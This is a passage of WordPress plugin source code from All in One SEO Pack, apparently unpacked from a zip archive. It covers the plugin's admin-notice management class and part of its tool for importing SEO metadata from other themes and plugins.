@see DirectoryIterator class * @link https://php.net/manual/en/class.directoryiterator.php * @see StackOverflow for getting all filenamess in a directory. * @link https://stackoverflow.com/a/25988433/1376780 */ private function autoload_notice_files() { foreach ( new DirectoryIterator( AIOSEOP_PLUGIN_DIR . 'admin/display/notices/' ) as $file ) { if ( $file->isFile() && 'php' === $file->getExtension() ) { $filename = $file->getFilename(); // Qualified file pattern; "*-notice.php". // Prevents any malicious files that may have spreaded. if ( array_search( 'notice', explode( '-', str_replace( '.php', '', $filename ) ), true ) ) { include_once AIOSEOP_PLUGIN_DIR . 'admin/display/notices/' . $filename; } } } } /** * Early operations required by the plugin. * * AJAX requires being added early before screens have been loaded. * * @since 3.0 */ public function init() { add_action( 'wp_ajax_aioseop_notice', array( $this, 'ajax_notice_action' ) ); } /** * Setup/Init Admin Screen * * Adds the initial actions to WP based on the Admin Screen being loaded. * The AIOSEOP and Other Screens have separate methods that are used, and * additional screens can be made exclusive/unique. * * @since 3.0 * * @param WP_Screen $current_screen The current screen object being loaded. */ public function admin_screen( $current_screen ) { $this->deregister_scripts(); if ( isset( $current_screen->id ) && in_array( $current_screen->id, $this->aioseop_screens, true ) ) { // AIOSEO Notice Content. add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) ); add_action( 'all_admin_notices', array( $this, 'display_notice_aioseop' ) ); } elseif ( isset( $current_screen->id ) ) { // Default WP Notice. add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) ); add_action( 'all_admin_notices', array( $this, 'display_notice_default' ) ); } } /** * Load AIOSEOP_Notice Options * * Gets the options for AIOSEOP_Notice to set its variables to. * * @since 3.0 * @access private * * @see self::notices * @see self::active_notices */ private function obj_load_options() { $notices_options = $this->obj_get_options(); $this->notices = $notices_options['notices']; $this->active_notices = $notices_options['active_notices']; } /** * Get AIOSEOP_Notice Options * * @since 3.0 * @access private * * @return array */ private function obj_get_options() { $defaults = array( 'notices' => array(), 'active_notices' => array(), ); // Prevent old data from being loaded instead. // Some notices are instant notifications. wp_cache_delete( 'aioseop_notices', 'options' ); $notices_options = get_option( 'aioseop_notices' ); if ( false === $notices_options ) { return $defaults; } return wp_parse_args( $notices_options, $defaults ); } /** * Update Notice Options * * @since 3.0 * @access private * * @return boolean True if successful, using update_option() return value. */ private function obj_update_options() { $notices_options = array( 'notices' => $this->notices, 'active_notices' => $this->active_notices, ); $old_notices_options = $this->obj_get_options(); $notices_options = wp_parse_args( $notices_options, $old_notices_options ); // Prevent old data from being loaded instead. // Some notices are instant notifications. wp_cache_delete( 'aioseop_notices', 'options' ); return update_option( 'aioseop_notices', $notices_options, false ); } /** * Notice Default Values * * Returns the default value for a variable to be used in self::notices[]. * * @since 3.0 * * @see AIOSEOP_Notices::notices Array variable that stores the collection of notices. * * @return array Notice variable in self::notices. */ public function notice_defaults() { return array_merge( $this->notice_defaults_server(), $this->notice_defaults_file() ); } /** * Notice Defaults Server * * @since 3.0 * * @return array */ public function notice_defaults_server() { return array( 'slug' => '', 'time_start' => time(), 'time_set' => time(), ); } /** * Notice Defaults File * * @since 3.0 * * @return array */ public function notice_defaults_file() { return array( 'slug' => '', 'delay_time' => 0, 'message' => '', 'action_options' => array(), 'class' => 'notice-info', 'target' => 'site', 'screens' => array(), ); } /** * Action Options Default Values * * Returns the default value for action_options in self::notices[$slug]['action_options']. * * @since 3.0 * * @return array Action_Options variable in self::notices[$slug]['action_options']. */ public function action_options_defaults() { return array( 'time' => 0, 'text' => __( 'Dismiss', 'all-in-one-seo-pack' ), 'link' => '#', 'dismiss' => true, 'class' => '', ); } /** * Add Notice * * Takes notice and adds it to object and saves to database. * * @since 3.0 * * @param array $notice See self::notices for more info. * @return boolean True on success. */ public function add_notice( $notice = array() ) { if ( empty( $notice['slug'] ) || isset( $this->notices[ $notice['slug'] ] ) ) { return false; } $this->notices[ $notice['slug'] ] = $this->prepare_notice( $notice ); return true; } /** * Prepare Insert/Undate Notice * * @since 3.0 * * @param array $notice The notice to prepare with the database. * @return array */ public function prepare_notice( $notice = array() ) { $notice_default = $this->notice_defaults_server(); $notice = wp_parse_args( $notice, $notice_default ); $new_notice = array(); foreach ( $notice_default as $key => $value ) { $new_notice[ $key ] = $notice[ $key ]; } return $new_notice; } /** * Used strictly for any notices that are deprecated/obsolete. To stop notices, * use notice_deactivate(). * * @since 3.0 * * @param string $slug Unique notice slug. * @return boolean True if successfully removed. */ public function remove_notice( $slug ) { if ( isset( $this->notices[ $slug ] ) ) { $this->deactivate_notice( $slug ); unset( $this->notices[ $slug ] ); $this->obj_update_options(); return true; } return false; } /** * Activate Notice * * Activates a notice, or Re-activates with a new display time. Used after * updating a notice that requires a hard reset. * * @since 3.0 * * @param string $slug Notice slug. * @return boolean */ public function activate_notice( $slug ) { if ( empty( $slug ) ) { return false; } $notice = $this->get_notice( $slug ); if ( 'site' === $notice['target'] && isset( $this->active_notices[ $slug ] ) ) { return true; } elseif ( 'user' === $notice['target'] && get_user_meta( get_current_user_id(), 'aioseop_notice_display_time_' . $slug, true ) ) { return true; } if ( ! isset( $this->notices[ $slug ] ) ) { $this->add_notice( $notice ); } $this->set_notice_delay( $slug, $notice['delay_time'] ); $this->obj_update_options(); return true; } /** * Deactivate Notice * * Deactivates a notice set as active and completely removes it from the * list of active notices. Used to prevent conflicting notices that may be * active at any given point in time. * * @since 3.0 * * @param string $slug Notice slug. * @return boolean */ public function deactivate_notice( $slug ) { if ( ! isset( $this->active_notices[ $slug ] ) ) { return false; } elseif ( ! isset( $this->notices[ $slug ] ) ) { return false; } delete_metadata( 'user', 0, 'aioseop_notice_display_time_' . $slug, '', true ); unset( $this->active_notices[ $slug ] ); $this->obj_update_options(); return true; } /** * Reset Notice * * @since 3.0 * * @param string $slug The notice's slug. * @return bool */ public function reset_notice( $slug ) { if ( empty( $slug ) || ( ! isset( $this->notices[ $slug ] ) && ! get_user_meta( get_current_user_id(), 'aioseop_notice_display_time_' . $slug, true ) && ! get_user_meta( get_current_user_id(), 'aioseop_notice_dismissed_' . $slug, true ) ) ) { return false; } $notice = $this->get_notice( $slug ); unset( $this->active_notices[ $slug ] ); unset( $this->dismissed[ $slug ] ); delete_metadata( 'user', 0, 'aioseop_notice_time_set_' . $slug, '', true ); delete_metadata( 'user', 0, 'aioseop_notice_display_time_' . $slug, '', true ); delete_metadata( 'user', 0, 'aioseop_notice_dismissed_' . $slug, '', true ); $this->set_notice_delay( $slug, $notice['delay_time'] ); $this->obj_update_options(); return true; } /** * Set Notice Delay * * @since 3.0 * * @param string $slug The notice's slug. * @param int $delay_time Amount of time to delay. * @return boolean */ public function set_notice_delay( $slug, $delay_time ) { if ( empty( $slug ) ) { return false; } $time_set = time(); // Display at exactly X time, not (X + 1) time. $display_time = $time_set + $delay_time - 1; $notice = $this->get_notice( $slug ); if ( 'user' === $notice['target'] ) { $current_user_id = get_current_user_id(); update_user_meta( $current_user_id, 'aioseop_notice_time_set_' . $slug, $time_set ); update_user_meta( $current_user_id, 'aioseop_notice_display_time_' . $slug, $display_time ); } $this->notices[ $slug ]['time_set'] = $time_set; $this->notices[ $slug ]['time_start'] = $display_time; $this->active_notices[ $slug ] = $display_time; return true; } /** * Set Notice Dismiss * * @since 3.0 * * @param string $slug The notice's slug. * @param boolean $dismiss Sets to dismiss a notice. */ public function set_notice_dismiss( $slug, $dismiss ) { $notice = $this->get_notice( $slug ); if ( 'site' === $notice['target'] ) { $this->dismissed[ $slug ] = $dismiss; } elseif ( 'user' === $notice['target'] ) { $current_user_id = get_current_user_id(); update_user_meta( $current_user_id, 'aioseop_notice_dismissed_' . $slug, $dismiss ); } } /** * Get Notice * * @since 3.0 * * @param string $slug The notice's slug. * @return array */ public function get_notice( $slug ) { // Set defaults for notice. $rtn_notice = $this->notice_defaults(); if ( isset( $this->notices[ $slug ] ) ) { // Get minimized (database) data. $rtn_notice = array_merge( $rtn_notice, $this->notices[ $slug ] ); } /** * Admin Notice {$slug} * * Applies the notice data values for a given notice slug. * `aioseop_admin_notice-{$slug}` with the slug being the individual notice. * * @since 3.0 * * @params array $notice_data See `\AIOSEOP_Notices::$notices` for structural documentation. */ $notice_data = apply_filters( 'aioseop_admin_notice-' . $slug, array() ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores if ( ! empty( $notice_data ) ) { $rtn_notice = array_merge( $rtn_notice, $notice_data ); foreach ( $rtn_notice['action_options'] as &$action_option ) { // Set defaults for `$notice['action_options']`. $action_option = array_merge( $this->action_options_defaults(), $action_option ); } } return $rtn_notice; } /*** DISPLAY Methods **************************************************/ /** * Deregister Scripts * * Initial Admin Screen action to remove aioseop script(s) from all screens; * which will be registered if executed on screen. * NOTE: As of 3.0, most of it is default layout, styling, & scripting * that is loaded on all pages. Which can later be different. * * @since 3.0 * @access private * * @see self::admin_screen() */ private function deregister_scripts() { wp_deregister_script( 'aioseop-admin-notice-js' ); wp_deregister_style( 'aioseop-admin-notice-css' ); } /** * (Register) Enqueue Scripts * * Used to register, enqueue, and localize any JS data. Styles can later be added. * * @since 3.0 */ public function admin_enqueue_scripts() { // Register. wp_register_script( 'aioseop-admin-notice-js', AIOSEOP_PLUGIN_URL . 'js/admin-notice.js', array( 'jquery' ), AIOSEOP_VERSION, true ); // Localization. $notice_actions = array(); foreach ( $this->active_notices as $notice_slug => $notice_display_time ) { $notice = $this->get_notice( $notice_slug ); foreach ( $notice['action_options'] as $action_index => $action_arr ) { $notice_actions[ $notice_slug ][] = $action_index; } } $admin_notice_localize = array( 'notice_nonce' => wp_create_nonce( 'aioseop_ajax_notice' ), 'notice_actions' => $notice_actions, ); wp_localize_script( 'aioseop-admin-notice-js', 'aioseop_notice_data', $admin_notice_localize ); // Enqueue. wp_enqueue_script( 'aioseop-admin-notice-js' ); wp_enqueue_style( 'aioseop-admin-notice-css', AIOSEOP_PLUGIN_URL . 'css/admin-notice.css', false, AIOSEOP_VERSION, false ); } /** * Display Notice as Default * * Method for default WP Admin notices. * NOTE: As of 3.0, display_notice_default() & display_notice_aioseop() * have the same functionality, but serves as a future development concept. * * @since 3.0 * * @uses AIOSEOP_PLUGIN_DIR . 'admin/display/notice-default.php' Template for default notices. * * @return void */ public function display_notice_default() { $this->display_notice( 'default' ); } /** * Display Notice as AIOSEOP Screens * * Method for Admin notices exclusive to AIOSEOP screens. * NOTE: As of 3.0, display_notice_default() & display_notice_aioseop() * have the same functionality, but serves as a future development concept. * * @since 3.0 * * @uses AIOSEOP_PLUGIN_DIR . 'admin/display/notice-aioseop.php' Template for notices. * * @return void */ public function display_notice_aioseop() { $this->display_notice( 'aioseop' ); } /** * Display Notice * * @since 2.8 * * @param string $template Slug name for template. */ public function display_notice( $template ) { if ( ! wp_script_is( 'aioseop-admin-notice-js', 'enqueued' ) || ! wp_style_is( 'aioseop-admin-notice-css', 'enqueued' ) ) { return; } elseif ( 'default' !== $template && 'aioseop' !== $template ) { return; } elseif ( ! current_user_can( 'aiosp_manage_seo' ) ) { return; } $current_screen = get_current_screen(); $current_user_id = get_current_user_id(); foreach ( $this->active_notices as $a_notice_slug => $a_notice_time_display ) { // vvv TEMP Avoid review notice. if ( 'review_plugin' === $a_notice_slug ) { continue; } // ^^^ TEMP Avoid review notice. $notice_show = true; $notice = $this->get_notice( $a_notice_slug ); // Screen Restriction. if ( ! empty( $notice['screens'] ) ) { // Checks if on aioseop screen. if ( in_array( 'aioseop', $notice['screens'], true ) ) { if ( ! in_array( $current_screen->id, $this->aioseop_screens, true ) ) { continue; } } // Checks the other screen restrictions by slug/id. if ( ! in_array( 'aioseop', $notice['screens'], true ) ) { if ( ! in_array( $current_screen->id, $notice['screens'], true ) ) { continue; } } } if ( isset( $this->dismissed[ $a_notice_slug ] ) && $this->dismissed[ $a_notice_slug ] ) { $notice_show = false; } // User Settings. if ( 'user' === $notice['target'] ) { $user_dismissed = get_user_meta( $current_user_id, 'aioseop_notice_dismissed_' . $a_notice_slug, true ); if ( ! $user_dismissed ) { $user_notice_time_display = get_user_meta( $current_user_id, 'aioseop_notice_display_time_' . $a_notice_slug, true ); if ( ! empty( $user_notice_time_display ) ) { $a_notice_time_display = intval( $user_notice_time_display ); } } else { $notice_show = false; } } // Display/Render. $important_admin_notices = array( 'notice-error', 'notice-warning', 'notice-do-nag', ); if ( defined( 'DISABLE_NAG_NOTICES' ) && true === DISABLE_NAG_NOTICES && ( ! in_array( $notice['class'], $important_admin_notices, true ) ) ) { // Skip if `DISABLE_NAG_NOTICES` is implemented (as true). // Important notices, WP's CSS `notice-error` & `notice-warning`, are still rendered. continue; } elseif ( time() > $a_notice_time_display && $notice_show ) { include AIOSEOP_PLUGIN_DIR . 'admin/display/notice-' . $template . '.php'; } } } /** * AJAX Notice Action * * Fires when a Action_Option is clicked and sent via AJAX. Also includes * WP Default Dismiss (rendered as a clickable button on upper-right). * * @since 3.0 * * @see AIOSEOP_PLUGIN_DIR . 'js/admin-notice.js' */ public function ajax_notice_action() { check_ajax_referer( 'aioseop_ajax_notice' ); if ( ! current_user_can( 'aiosp_manage_seo' ) ) { wp_send_json_error( __( "User doesn't have `aiosp_manage_seo` capabilities.", 'all-in-one-seo-pack' ) ); } // Notice (Slug) => (Action_Options) Index. $notice_slug = null; $action_index = null; if ( isset( $_POST['notice_slug'] ) ) { $notice_slug = filter_input( INPUT_POST, 'notice_slug', FILTER_SANITIZE_STRING ); // When PHPUnit is unable to use filter_input. if ( defined( 'AIOSEOP_UNIT_TESTING' ) && null === $notice_slug && ! empty( $_POST['notice_slug'] ) ) { $notice_slug = $_POST['notice_slug']; } } if ( isset( $_POST['action_index'] ) ) { $action_index = filter_input( INPUT_POST, 'action_index', FILTER_SANITIZE_STRING ); // When PHPUnit is unable to use filter_input. if ( defined( 'AIOSEOP_UNIT_TESTING' ) && null === $action_index && ( ! empty( $_POST['action_index'] ) || 0 === $_POST['action_index'] ) ) { $action_index = $_POST['action_index']; } } if ( empty( $notice_slug ) ) { /* Translators: Displays the hordcoded slug that missing. */ wp_send_json_error( sprintf( __( 'Missing values from `%s`.', 'all-in-one-seo-pack' ), 'notice_slug' ) ); } elseif ( empty( $action_index ) && 0 !== $action_index ) { /* Translators: Displays the hordcoded slug that missing. */ wp_send_json_error( sprintf( __( 'Missing values from `%s`.', 'all-in-one-seo-pack' ), 'action_index' ) ); } $action_options = $this->action_options_defaults(); $action_options['time'] = $this->default_dismiss_delay; $action_options['dismiss'] = false; $notice = $this->get_notice( $notice_slug ); if ( isset( $notice['action_options'][ $action_index ] ) ) { $action_options = array_merge( $action_options, $notice['action_options'][ $action_index ] ); } if ( $action_options['time'] ) { $this->set_notice_delay( $notice_slug, $action_options['time'] ); } if ( $action_options['dismiss'] ) { $this->set_notice_dismiss( $notice_slug, $action_options['dismiss'] ); } $this->obj_update_options(); wp_send_json_success( __( 'Notice updated successfully.', 'all-in-one-seo-pack' ) ); } } // CLASS INITIALIZATION. // Should this be a singleton class instead of a global? global $aioseop_notices; $aioseop_notices = new AIOSEOP_Notices(); } PK������+—[ì§àå$���$���#��all-in-one-seo-pack/admin/index.phpnu�„[µü¤��������<?php /** * Silence is golden. */ PK������+—[îkÛ!)V��)V��)��all-in-one-seo-pack/admin/meta_import.phpnu�„[µü¤��������<?php /** * Meta Import * * @package All_in_One_SEO_Pack * @since ? */ if ( class_exists( 'WPSEO_Import_Hooks' ) ) { /** * Class WPSEO_Import_AIOSEO_Hooks * * @TODO Move this elsewhere. */ class WPSEO_Import_AIOSEO_Hooks extends WPSEO_Import_Hooks { /** * Plugin File * * @since ? * * @var string $plugin_file */ protected $plugin_file = 'all-in-one-seo-pack/all_in_one_seo_pack.php'; /** * Deactivate Listener * * @since ? * * @var string $deactivation_listener */ protected $deactivation_listener = 'deactivate_aioseo'; /** * Show notice the old plugin is installed and offer to import its data. */ public function show_import_settings_notice() { $yoasturl = add_query_arg( array( '_wpnonce' => wp_create_nonce( 'wpseo-import' ) ), admin_url( 'admin.php?page=wpseo_tools&tool=import-export&import=1&importaioseo=1#top#import-seo' ) ); $aiourl = add_query_arg( array( '_wpnonce' => wp_create_nonce( 'aiosp-import' ) ), admin_url( 'tools.php?page=aiosp_import' ) ); $aioseop_yst_detected_notice_dismissed = get_user_meta( get_current_user_id(), 'aioseop_yst_detected_notice_dismissed', true ); if ( empty( $aioseop_yst_detected_notice_dismissed ) ) { /* translators: %1$s, %2$s and %3$s are placeholders, which means these shouldn't be translated. The first two placeholders are used to add a link to anchor text and the third is replaced with the name of the plugin, All in One SEO Pack. */ echo '<div class="notice notice-warning row-title is-dismissible yst_notice"><p>', sprintf( esc_html__( 'The plugin Yoast SEO has been detected. Do you want to %1$simport its settings%2$s into %3$s', 'all-in-one-seo-pack' ), sprintf( '<a href="%s">', esc_url( $aiourl ) ), '</a>', AIOSEOP_PLUGIN_NAME ), '</p></div>'; } // phpcs:disable WordPress.WP.I18n echo '<div class="error"><p>', sprintf( esc_html__( 'The plugin All-In-One-SEO has been detected. Do you want to %1$simport its settings%2$s?', 'wordpress-seo' ), sprintf( '<a href="%s">', esc_url( $yoasturl ) ), '</a>' ), '</p></div>'; // phpcs:enable } public function show_deactivate_notice() { echo '<div class="updated"><p>', esc_html__( 'All in One SEO has been deactivated', 'all-in-one-seo-pack' ), '</p></div>'; } } } else { if ( is_admin() ) { add_action( 'init', 'mi_aioseop_yst_detected_notice_dismissed' ); } } /** * Deletes the stored dismissal of the notice. * * This should only happen after reactivating after being deactivated. */ function mi_aioseop_yst_detected_notice_dismissed() { delete_user_meta( get_current_user_id(), 'aioseop_yst_detected_notice_dismissed' ); } /** * Init for settings import class. * * At the moment we just register the admin menu page. */ function aiosp_seometa_settings_init() { global $_aiosp_seometa_admin_pagehook; // TODO Put this in with the rest of the import/export stuff. $_aiosp_seometa_admin_pagehook = add_submenu_page( 'tools.php', __( 'Import SEO Data', 'all-in-one-seo-pack' ), __( 'SEO Data Import', 'all-in-one-seo-pack' ), 'manage_options', 'aiosp_import', 'aiosp_seometa_admin' ); } add_action( 'admin_menu', 'aiosp_seometa_settings_init' ); /** * Intercept POST data from the form submission. * * Use the intercepted data to convert values in the postmeta table from one platform to another and display feedback to the user about compatible conversion * elements and the conversion process. */ function aiosp_seometa_action() { if ( empty( $_REQUEST['_wpnonce'] ) ) { return; } if ( empty( $_REQUEST['platform_old'] ) ) { printf( '<div class="error"><p>%s</p></div>', __( 'Sorry, you can\'t do that. Please choose a platform and then click Analyze or Convert.', 'all-in-one-seo-pack' ) ); return; } if ( 'All in One SEO Pack' === $_REQUEST['platform_old'] ) { printf( '<div class="error"><p>%s</p></div>', __( 'Sorry, you can\'t do that. Please choose a platform and then click Analyze or Convert.', 'all-in-one-seo-pack' ) ); return; } check_admin_referer( 'aiosp_nonce' ); // Verify nonce. TODO We should make this better. if ( ! empty( $_REQUEST['analyze'] ) ) { printf( '<h3>%s</h3>', __( 'Analysis Results', 'all-in-one-seo-pack' ) ); $response = aiosp_seometa_post_meta_analyze( $_REQUEST['platform_old'], 'All in One SEO Pack' ); if ( is_wp_error( $response ) ) { printf( '<div class="error"><p>%s</p></div>', __( 'Sorry, something went wrong. Please try again', 'all-in-one-seo-pack' ) ); return; } printf( __( '<p>Analyzing records in a %1$s to %2$s conversion…', 'all-in-one-seo-pack' ), esc_html( $_POST['platform_old'] ), 'All in One SEO Pack' ); printf( '<p><b>%d</b> Compatible Records were identified</p>', $response->update ); // phpcs:ignore Squiz.Commenting.InlineComment.InvalidEndChar // printf( '<p>%d Compatible Records will be ignored</p>', $response->ignore ); printf( '<p><b>%s</b></p>', __( 'Compatible data:', 'all-in-one-seo-pack' ) ); echo '<ol>'; foreach ( (array) $response->elements as $element ) { printf( '<li>%s</li>', $element ); } echo '</ol>'; return; } printf( '<h3>%s</h3>', __( 'Conversion Results', 'all-in-one-seo-pack' ) ); $result = aiosp_seometa_post_meta_convert( stripslashes( $_REQUEST['platform_old'] ), 'All in One SEO Pack' ); if ( is_wp_error( $result ) ) { printf( '<p>%s</p>', __( 'Sorry, something went wrong. Please try again', 'all-in-one-seo-pack' ) ); return; } printf( '<p><b>%d</b> Records were updated</p>', isset( $result->updated ) ? $result->updated : 0 ); printf( '<p><b>%d</b> Records were ignored</p>', isset( $result->ignored ) ? $result->ignored : 0 ); } /** * The admin page output */ function aiosp_seometa_admin() { global $_aiosp_seometa_themes, $_aiosp_seometa_plugins, $_aiosp_seometa_platforms; ?> <div class="wrap"> <h1><?php _e( 'Import SEO Settings', 'all-in-one-seo-pack' ); ?></h1> <p><span class="description"><?php printf( __( 'Use the drop down below to choose which plugin or theme you wish to import SEO data from.', 'all-in-one-seo-pack' ) ); ?></span> </p> <p><span class="description"> <?php /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ printf( sprintf( __( 'Click "Analyze" for a list of SEO data that can be imported into %s, along with the number of records that will be imported.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ) ); ?> </span> </p> <p> <span class="description"> <strong><?php printf( __( 'Please Note: ', 'all-in-one-seo-pack' ) ); ?></strong> <?php /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ printf( sprintf( __( 'Some plugins and themes do not share similar data, or they store data in a non-standard way. If we cannot import this data, it will remain unchanged in your database. Any compatible SEO data will be displayed for you to review. If a post or page already has SEO data in %s, we will not import data from another plugin/theme.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ) ); ?> </span> </p> <p><span class="description"><?php printf( __( 'Click "Convert" to perform the import. After the import has completed, you will be alerted to how many records were imported, and how many records had to be ignored, based on the criteria above.', 'all-in-one-seo-pack' ) ); ?></span> </p> <p><span class="row-title"><?php printf( esc_html__( 'Before performing an import, we strongly recommend that you make a backup of your site. We use and recommend %1$s BackupBuddy %2$s for backups.', 'all-in-one-seo-pack' ), sprintf( '<a target="_blank" href="%s">', esc_url( 'https://semperfiwebdesign.com/backupbuddy/' ) ), '</a>' ); ?></span> </p> <form action="<?php echo admin_url( 'tools.php?page=aiosp_import' ); ?>" method="post"> <?php wp_nonce_field( 'aiosp_nonce' ); $platform_old = ( ! isset( $_POST['platform_old'] ) ) ? '' : $_POST['platform_old']; _e( 'Import SEO data from:', 'all-in-one-seo-pack' ); echo '<select name="platform_old" aria-label="' . __( 'Choose the platform you want to import SEO data from', 'all-in-one-seo-pack' ) . '">'; printf( '<option value="">%s</option>', __( 'Choose platform:', 'all-in-one-seo-pack' ) ); printf( '<optgroup label="%s">', __( 'Plugins', 'all-in-one-seo-pack' ) ); foreach ( $_aiosp_seometa_plugins as $platform => $data ) { if ( 'All in One SEO Pack' !== $platform ) { printf( '<option value="%s" %s>%s</option>', $platform, selected( $platform, $platform_old, 0 ), $platform ); } } printf( '</optgroup>' ); printf( '<optgroup label="%s">', __( 'Themes', 'all-in-one-seo-pack' ) ); foreach ( $_aiosp_seometa_themes as $platform => $data ) { printf( '<option value="%s" %s>%s</option>', $platform, selected( $platform, $platform_old, 0 ), $platform ); } printf( '</optgroup>' ); echo '</select>' . "\n\n"; ?> <input type="submit" class="button-secondary" name="analyze" value="<?php _e( 'Analyze', 'all-in-one-seo-pack' ); ?>" aria-label="Analyze"/> <input type="submit" class="button-primary" value="<?php _e( 'Convert', 'all-in-one-seo-pack' ); ?>" aria-label="Convert"/> </form> <?php aiosp_seometa_action(); ?> </div> <?php } /** * Convert old meta_key entries in the post meta table into new entries. * * First check to see what records for $new already exist, storing the corresponding post_id values in an array. * When the conversion happens, ignore rows that contain a post_id, to avoid duplicate entries. * * @param string $old Old meta_key entries. * @param string $new New meta_key entries. * @param bool $delete_old Whether to delete the old entries. * * @return stdClass Object for error detection, and the number of affected rows. */ function aiosp_seometa_meta_key_convert( $old = '', $new = '', $delete_old = false ) { do_action( 'pre_aiosp_seometa_meta_key_convert_before', $old, $new, $delete_old ); global $wpdb; $output = new stdClass; if ( ! $old || ! $new ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase $output->WP_Error = 1; return $output; } // See which records we need to ignore, if any. $exclude = $wpdb->get_results( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = %s", $new ) ); // If no records to ignore, we'll do a basic UPDATE and DELETE. if ( ! $exclude ) { $output->updated = $wpdb->update( $wpdb->postmeta, array( 'meta_key' => $new ), array( 'meta_key' => $old ) ); $output->deleted = $delete_old ? $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE meta_key = %s", $old ) ) : 0; $output->ignored = 0; } else { // Else, do a more complex UPDATE and DELETE. foreach ( (array) $exclude as $key => $value ) { $not_in[] = $value->post_id; } $not_in = implode( ', ', (array) $not_in ); // @codingStandardsIgnoreStart $output->updated = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->postmeta SET meta_key = %s WHERE meta_key = %s AND post_id NOT IN ($not_in)", $new, $old ) ); $output->deleted = $delete_old ? $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE meta_key = %s", $old ) ) : 0; // @codingStandardsIgnoreEnd $output->ignored = count( $exclude ); } do_action( 'aiosp_seometa_meta_key_convert', $output, $old, $new, $delete_old ); return $output; } /** * Convert old to new postmeta. * * Cycle through all compatible SEO entries of two platforms and aiosp_seometa_meta_key_convert conversion for each key. * * @param string $old_platform * @param string $new_platform * @param bool $delete_old * * @return stdClass Results object. */ function aiosp_seometa_post_meta_convert( $old_platform = '', $new_platform = 'All in One SEO Pack', $delete_old = false ) { do_action( 'pre_aiosp_seometa_post_meta_convert', $old_platform, $new_platform, $delete_old ); global $_aiosp_seometa_platforms; $output = new stdClass; if ( empty( $_aiosp_seometa_platforms[ $old_platform ] ) || empty( $_aiosp_seometa_platforms[ $new_platform ] ) ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase $output->WP_Error = 1; return $output; } $output->updated = 0; $output->deleted = 0; $output->ignored = 0; foreach ( (array) $_aiosp_seometa_platforms[ $old_platform ] as $label => $meta_key ) { // Skip iterations where no $new analog exists. if ( empty( $_aiosp_seometa_platforms[ $new_platform ][ $label ] ) ) { continue; } // Set $old and $new meta_key values. $old = $_aiosp_seometa_platforms[ $old_platform ][ $label ]; $new = $_aiosp_seometa_platforms[ $new_platform ][ $label ]; // Convert. $result = aiosp_seometa_meta_key_convert( $old, $new, $delete_old ); // Error check. if ( is_wp_error( $result ) ) { continue; } // Update total updated/ignored count. $output->updated += (int) $result->updated; $output->ignored += (int) $result->ignored; } do_action( 'aiosp_seometa_post_meta_convert', $output, $old_platform, $new_platform, $delete_old ); return $output; } /** * Analyze two platforms to find shared and compatible elements. * * See what data can be converted from one to the other. * * @param string $old_platform * @param string $new_platform * * @return stdClass */ function aiosp_seometa_post_meta_analyze( $old_platform = '', $new_platform = 'All in One SEO Pack' ) { // TODO Figure out which elements to ignore. do_action( 'pre_aiosp_seometa_post_meta_analyze', $old_platform, $new_platform ); global $wpdb, $_aiosp_seometa_platforms; $output = new stdClass; if ( empty( $_aiosp_seometa_platforms[ $old_platform ] ) || empty( $_aiosp_seometa_platforms[ $new_platform ] ) ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase $output->WP_Error = 1; return $output; } $output->update = 0; $output->ignore = 0; $output->elements = ''; foreach ( (array) $_aiosp_seometa_platforms[ $old_platform ] as $label => $meta_key ) { // Skip iterations where no $new analog exists. if ( empty( $_aiosp_seometa_platforms[ $new_platform ][ $label ] ) ) { continue; } $elements[] = $label; // See which records to ignore, if any. $ignore = 0; // $ignore = $wpdb->get_results( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = %s", $meta_key ) ); // See which records to update, if any. $update = $wpdb->get_results( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = %s", $meta_key ) ); // Count items in returned arrays. // phpcs:ignore Squiz.Commenting.InlineComment.InvalidEndChar // $ignore = count( (array)$ignore ); $update = count( (array) $update ); // Calculate update/ignore by comparison. // phpcs:ignore Squiz.Commenting.InlineComment.InvalidEndChar // $update = ( (int)$update > (int)$ignore ) ? ( (int)$update - (int)$ignore ) : 0; // update output numbers. $output->update += (int) $update; $output->ignore += (int) $ignore; } $output->elements = $elements; do_action( 'aiosp_seometa_post_meta_analyze', $output, $old_platform, $new_platform ); return $output; } // phpcs:disable Squiz.Commenting.InlineComment.InvalidEndChar // define('aiosp_seometa_PLUGIN_DIR', dirname(__FILE__)); // add_action( 'plugins_loaded', 'aiosp_seometa_import' ); // phpcs:enable /** * Initialize the SEO Data Transporter plugin */ function aiosp_seometa_import() { global $_aiosp_seometa_themes, $_aiosp_seometa_plugins, $_aiosp_seometa_platforms; /** * The associative array of supported themes. */ $_aiosp_seometa_themes = array( // alphabatized. 'Builder' => array( 'Custom Doctitle' => '_builder_seo_title', 'META Description' => '_builder_seo_description', 'META Keywords' => '_builder_seo_keywords', ), 'Catalyst' => array( 'Custom Doctitle' => '_catalyst_title', 'META Description' => '_catalyst_description', 'META Keywords' => '_catalyst_keywords', 'noindex' => '_catalyst_noindex', 'nofollow' => '_catalyst_nofollow', 'noarchive' => '_catalyst_noarchive', ), 'Frugal' => array( 'Custom Doctitle' => '_title', 'META Description' => '_description', 'META Keywords' => '_keywords', 'noindex' => '_noindex', 'nofollow' => '_nofollow', ), 'Genesis' => array( 'Custom Doctitle' => '_genesis_title', 'META Description' => '_genesis_description', 'META Keywords' => '_genesis_keywords', 'noindex' => '_genesis_noindex', 'nofollow' => '_genesis_nofollow', 'noarchive' => '_genesis_noarchive', 'Canonical URI' => '_genesis_canonical_uri', 'Custom Scripts' => '_genesis_scripts', 'Redirect URI' => 'redirect', 